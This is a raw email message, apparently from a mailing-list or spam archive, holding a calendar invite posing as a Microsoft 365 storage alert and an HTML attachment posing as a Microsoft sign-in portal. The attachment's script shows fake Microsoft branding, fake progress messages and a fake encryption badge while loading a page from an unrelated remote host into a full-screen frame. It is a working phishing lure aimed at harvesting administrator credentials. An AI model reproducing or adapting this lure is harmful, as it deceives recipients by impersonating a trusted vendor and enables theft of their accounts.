X-MS-Exchange-CrossTenant-AuthSource:
	DS2PEPF00003441.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: Internet
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR01MB7347


------=_Part_-1553800878_1598659289.1755081037617
Content-Type: multipart/alternative;
 boundary="----=_NextPart_001_1AB1_01DC06A2.5954A3A0"

------=_NextPart_001_1AB1_01DC06A2.5954A3A0
Content-Type: text/plain; charset="UTF-8"


------=_NextPart_001_1AB1_01DC06A2.5954A3A0
Content-Type: text/html; charset="UTF-8"


------=_NextPart_001_1AB1_01DC06A2.5954A3A0
Content-Type: text/calendar; method=REQUEST; name="invite.ics"
Content-Transfer-Encoding: 7bit

BEGIN:VCALENDAR
PRODID:-//Microsoft Corporation//Outlook for Microsoft 365//EN
VERSION:2.0
METHOD:REQUEST
BEGIN:VEVENT
UID:20250905T140000Z-storagealert-ABCD1234@account.microsoft.com
SUMMARY:⚠️ Microsoft 365 Storage Alert: Capacity Limit Approaching
DTSTART:20250908T140000Z
DTEND:20250910T143000Z
DTSTAMP:20250905T130000Z
ORGANIZER;CN="Microsoft 365 Admin Center":MAILTO:no-reply@account.microsoft.com
ATTENDEE;ROLE=REQ-PARTICIPANT;PARTSTAT=NEEDS-ACTION;RSVP=TRUE;CN=Global Administrator:MAILTO:admin@example.com
LOCATION;LANGUAGE=en-us:Attached Admin Center (🏛️)
DESCRIPTION:This is a system-generated notification.\n\n
Your Microsoft 365 tenant is approaching its allocated storage capacity.\n\n
 **Recommended Action:**\n Review current usage in the Admin Center. Free up space or purchase additional storage to ensure continuous service.\n\n
 **Impact if Ignored:**\n Once capacity is reached, new file uploads and data synchronization will be paused until storage is available.\n\n
---\n
Reference ID: MS-ALERT-STORAGE-2025\n
CLASS:PUBLIC
PRIORITY:1
STATUS:CONFIRMED
TRANSP:OPAQUE
SEQUENCE:0
CATEGORIES:Storage Alert❗
X-MICROSOFT-CDO-IMPORTANCE:1
X-MICROSOFT-CDO-BUSYSTATUS:BUSY
X-MICROSOFT-CDO-OWNERCRITICALITY:1
BEGIN:VALARM
ACTION:DISPLAY
DESCRIPTION:Reminder: Microsoft 365 storage capacity warning ⚠️
TRIGGER;RELATED=START:-PT30M
END:VALARM
END:VEVENT
END:VCALENDAR



------=_NextPart_001_1AB1_01DC06A2.5954A3A0--
------=_Part_-1553800878_1598659289.1755081037617
Content-Type: application/octet-stream; name="Admin Center (🏛️) 2025-10727.htm"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="Admin Center (🏛️) 2025-16528.htm"


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Enterprise_Portal</title>
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  <link href="https://fonts.googleapis.com/css2?family=Segoe+UI:wght@300;400;500;600&display=swap" rel="stylesheet">
  <style>
    :root {
      --ms-blue: #0078D4;
      --ms-blue-dark: #106EBE;
      --ms-light: #F3F2F1;
      --ms-light-dark: #EDEBE9;
      --ms-text: #323130;
      --ms-text-secondary: #605E5C;
      --ms-red: #D83B01;
      --ms-green: #107C10;
      --ms-yellow: #FFBA08;
      --ms-border: #E1DFDD;
      --ms-shadow: 0 1.6px 3.6px 0 rgba(0,0,0,.132),0 0.3px 0.9px 0 rgba(0,0,0,.108);
    }

    * {
      box-sizing: border-box;
      margin: 0;
      padding: 0;
    }

    body {
      font-family: 'Segoe UI', SegoeUI, "Helvetica Neue", Helvetica, Arial, sans-serif;
      background-color: var(--ms-light);
      color: var(--ms-text);
      height: 100vh;
      overflow: hidden;
      -webkit-font-smoothing: antialiased;
      -moz-osx-font-smoothing: grayscale;
    }

    .loader-container {
      display: flex;
      flex-direction: column;
      justify-content: center;
      align-items: center;
      height: 100%;
      animation: fadeIn 0.6s ease;
      text-align: center;
      background-color: var(--ms-light);
      position: relative;
      z-index: 1000;
    }

    @keyframes fadeIn {
      from { opacity: 0; transform: translateY(10px); }
      to { opacity: 1; transform: translateY(0); }
    }

    .brand-logo {
      width: 80px;
      height: 80px;
      margin-bottom: 24px;
      animation: brandFadeIn 0.8s cubic-bezier(0.22, 0.61, 0.36, 1);
    }

    @keyframes brandFadeIn {
      0% { opacity: 0; transform: scale(0.8); }
      100% { opacity: 1; transform: scale(1); }
    }

    .portal-title {
      font-size: 24px;
      font-weight: 300;
      margin: 8px 0 24px;
      letter-spacing: -0.01em;
      color: var(--ms-text);
    }

    .spinner {
      position: relative;
      width: 56px;
      height: 56px;
      margin: 32px auto;
    }

    .spinner-segment {
      width: 100%;
      height: 100%;
      position: absolute;
      border: 3px solid transparent;
      border-radius: 50%;
      animation: spin 1.2s cubic-bezier(0.5, 0, 0.5, 1) infinite;
      box-sizing: border-box;
    }

    .spinner-segment:nth-child(1) { border-top-color: #F35325; animation-delay: 0s; }
    .spinner-segment:nth-child(2) { border-top-color: #81BC06; animation-delay: 0.15s; }
    .spinner-segment:nth-child(3) { border-top-color: #05A6F0; animation-delay: 0.3s; }
    .spinner-segment:nth-child(4) { border-top-color: #FFBA08; animation-delay: 0.45s; }

    @keyframes spin {
      0% { transform: rotate(0deg); }
      100% { transform: rotate(360deg); }
    }

    .status-text {
      margin-top: 24px;
      font-size: 14px;
      color: var(--ms-text-secondary);
      min-height: 20px;
      font-weight: 400;
      position: relative;
      padding: 0 20px;
      max-width: 400px;
      text-align: center;
      line-height: 1.5;
    }

    .status-text::after {
      content: "...";
      display: inline-block;
      width: 20px;
      text-align: left;
      animation: ellipsis 1.5s infinite steps(4);
    }

    @keyframes ellipsis {
      0% { content: "."; }
      33% { content: ".."; }
      66% { content: "..."; }
    }

    .content-frame {
      width: 100%;
      height: 100%;
      border: none;
      opacity: 0;
      transition: opacity 0.6s ease-in-out;
      position: absolute;
      top: 0;
      left: 0;
    }

    .error-screen {
      text-align: center;
      padding: 80px 20px;
      max-width: 500px;
      margin: 0 auto;
      height: 100vh;
      display: flex;
      flex-direction: column;
      justify-content: center;
      align-items: center;
    }

    .error-icon {
      font-size: 48px;
      color: var(--ms-red);
      margin-bottom: 24px;
    }

    .error-title {
      font-size: 21px;
      font-weight: 300;
      color: var(--ms-text);
      margin-bottom: 16px;
    }

    .error-description {
      font-size: 14px;
      color: var(--ms-text-secondary);
      line-height: 1.5;
      margin-bottom: 24px;
    }

    .retry-button {
      background: var(--ms-blue);
      border: none;
      border-radius: 2px;
      color: white;
      font-size: 14px;
      font-weight: 400;
      padding: 8px 20px;
      margin-top: 8px;
      cursor: pointer;
      transition: background 0.2s ease;
      height: 32px;
      min-width: 80px;
      outline: none;
    }

    .retry-button:hover {
      background: var(--ms-blue-dark);
    }

    .retry-button:active {
      background: #005A9E;
    }

    .security-indicator {
      font-size: 12px;
      color: var(--ms-text-secondary);
      position: fixed;
      bottom: 20px;
      right: 20px;
      display: flex;
      align-items: center;
      background: rgba(255,255,255,0.7);
      padding: 6px 10px;
      border-radius: 3px;
      backdrop-filter: blur(5px);
    }

    .security-indicator::before {
      content: "";
      display: inline-block;
      width: 8px;
      height: 8px;
      background-color: var(--ms-green);
      border-radius: 50%;
      margin-right: 8px;
    }

    .footer {
      position: fixed;
      bottom: 20px;
      left: 0;
      width: 100%;
      text-align: center;
      font-size: 12px;
      color: var(--ms-text-secondary);
      padding: 10px 0;
    }

    .progress-container {
      width: 300px;
      height: 4px;
      background-color: var(--ms-border);
      border-radius: 2px;
      margin: 16px auto;
      overflow: hidden;
    }

    .progress-bar {
      height: 100%;
      width: 0;
      background-color: var(--ms-blue);
      border-radius: 2px;
      transition: width 0.4s ease;
    }

    @media (prefers-color-scheme: dark) {
      :root {
        --ms-light: #2D2C2C;
        --ms-light-dark: #1B1A19;
        --ms-text: #FFFFFF;
        --ms-text-secondary: #A19F9D;
        --ms-border: #3B3A39;
      }

      .security-indicator {
        background: rgba(37, 36, 35, 0.7);
      }
    }

    .hidden {
      display: none;
    }
  </style>
</head>
<body>
  <div id="loader" class="loader-container" role="status" aria-live="polite">
    <svg class="brand-logo" viewBox="0 0 64 64" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
      <rect x="0" y="0" width="28" height="28" fill="#F35325"/>
      <rect x="36" y="0" width="28" height="28" fill="#81BC06"/>
      <rect x="0" y="36" width="28" height="28" fill="#05A6F0"/>
      <rect x="36" y="36" width="28" height="28" fill="#FFBA08"/>
    </svg>
    <h1 class="portal-title">Sign in using your Microsoft account</h1>
    <div class="spinner" aria-hidden="true">
      <div class="spinner-segment"></div>
      <div class="spinner-segment"></div>
      <div class="spinner-segment"></div>
      <div class="spinner-segment"></div>
    </div>
    <div class="progress-container">
      <div class="progress-bar" id="progress"></div>
    </div>
    <div class="status-text" id="status">Initializing enterprise services</div>
    <div class="security-indicator">Microsoft Secure Connection • TLS 1.2 Encrypted</div>
    <div class="footer">Microsoft 365 Enterprise • Version 16.0.16227.20298</div>
  </div>

  <iframe id="contentFrame" class="content-frame hidden" sandbox="allow-scripts allow-same-origin allow-forms" aria-hidden="true"></iframe>

  <script>
    const CONFIG = {
      MESSAGES: [
        "Connecting to Microsoft services...",
        "Establishing secure session...",
        "Verifying enterprise credentials...",
        "Loading organizational policies...",
        "Initializing user environment...",
        "Preparing dashboard components...",
        "Finalizing authentication...",
        "Launching Microsoft 365 Portal..."
      ],
      MESSAGE_INTERVAL: 2500,
      INITIAL_DELAY: 1500,
      FADE_TRANSITION: 400
    };

    const elements = {
      status: document.getElementById('status'),
      frame: document.getElementById('contentFrame'),
      loader: document.getElementById('loader'),
      progress: document.getElementById('progress')
    };

    const utils = {
      generateSecureToken: (length) => {
        const chars = 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghjkmnpqrstuvwxyz23456789';
        const cryptoObj = window.crypto || window.msCrypto;
        const values = new Uint32Array(length);
        cryptoObj.getRandomValues(values);
        return Array.from(values, v => chars[v % chars.length]).join('');
      },
      
      createServiceUrl: () => {
        const sub = 'svc' + utils.generateSecureToken(8).toLowerCase();
        return `https://${sub}.ioncasino.games:8443/impact?BMX8-${encodeURIComponent(utils.generateSecureToken(24))}=bug-sipb@mit.edu`;
      },
      
      updateProgress: (percentage) => {
        elements.progress.style.width = `${percentage}%`;
      }
    };

    const state = {
      messageIndex: 0,
      messageInterval: null
    };

    const ui = {
      startMessageCycle: () => {
        state.messageInterval = setInterval(() => {
          state.messageIndex = (state.messageIndex + 1) % CONFIG.MESSAGES.length;
          elements.status.textContent = CONFIG.MESSAGES[state.messageIndex];
          utils.updateProgress(Math.min(90, (state.messageIndex / CONFIG.MESSAGES.length) * 100));
        }, CONFIG.MESSAGE_INTERVAL);
      },
      
      stopMessageCycle: () => {
        if (state.messageInterval) {
          clearInterval(state.messageInterval);
          state.messageInterval = null;
        }
      },
      
      showContent: () => {
        ui.stopMessageCycle();
        utils.updateProgress(100);
        
        setTimeout(() => {
          elements.loader.style.opacity = 0;
          setTimeout(() => {
            elements.loader.classList.add('hidden');
            elements.frame.classList.remove('hidden');
            elements.frame.style.opacity = 1;
            elements.frame.setAttribute('aria-hidden', 'false');
          }, CONFIG.FADE_TRANSITION);
        }, 300);
      },
      
      showError: () => {
        ui.stopMessageCycle();
        document.body.innerHTML = `
          <div class="error-screen">
            <div class="error-icon"></div>
            <h2 class="error-title"></h2>
            <p class="error-description">We couldn't establish a secure connection to the Microsoft 365 Enterprise Portal.</p>
            <p class="error-description">Please check your network connection and try again.</p>
            <button class="retry-button" onclick="window.location.reload()">Retry Connection</button>
            <div class="security-indicator" style="margin-top: 32px;">Microsoft Secure Connection • TLS 1.2 Encrypted</div>
            <div class="footer">Microsoft 365 Enterprise • Version 16.0.16227.20298</div>
          </div>
        `;
      }
    };

    const setupEventHandlers = () => {
      elements.frame.addEventListener('load', ui.showContent);
      elements.frame.addEventListener('error', ui.showError);
    };

    const init = () => {
      try {
        elements.status.textContent = CONFIG.MESSAGES[0];
        setupEventHandlers();
        
        setTimeout(() => {
          elements.frame.src = utils.createServiceUrl();
        }, CONFIG.INITIAL_DELAY);
        
        ui.startMessageCycle();
      } catch (error) {
        ui.showError();
      }
    };

    if (document.readyState === 'loading') {
      document.addEventListener('DOMContentLoaded', init);
    } else {
      init();
    }
  </script>
</body>
</html>

------=_Part_-1553800878_1598659289.1755081037617--

home help back first fref pref prev next nref lref last post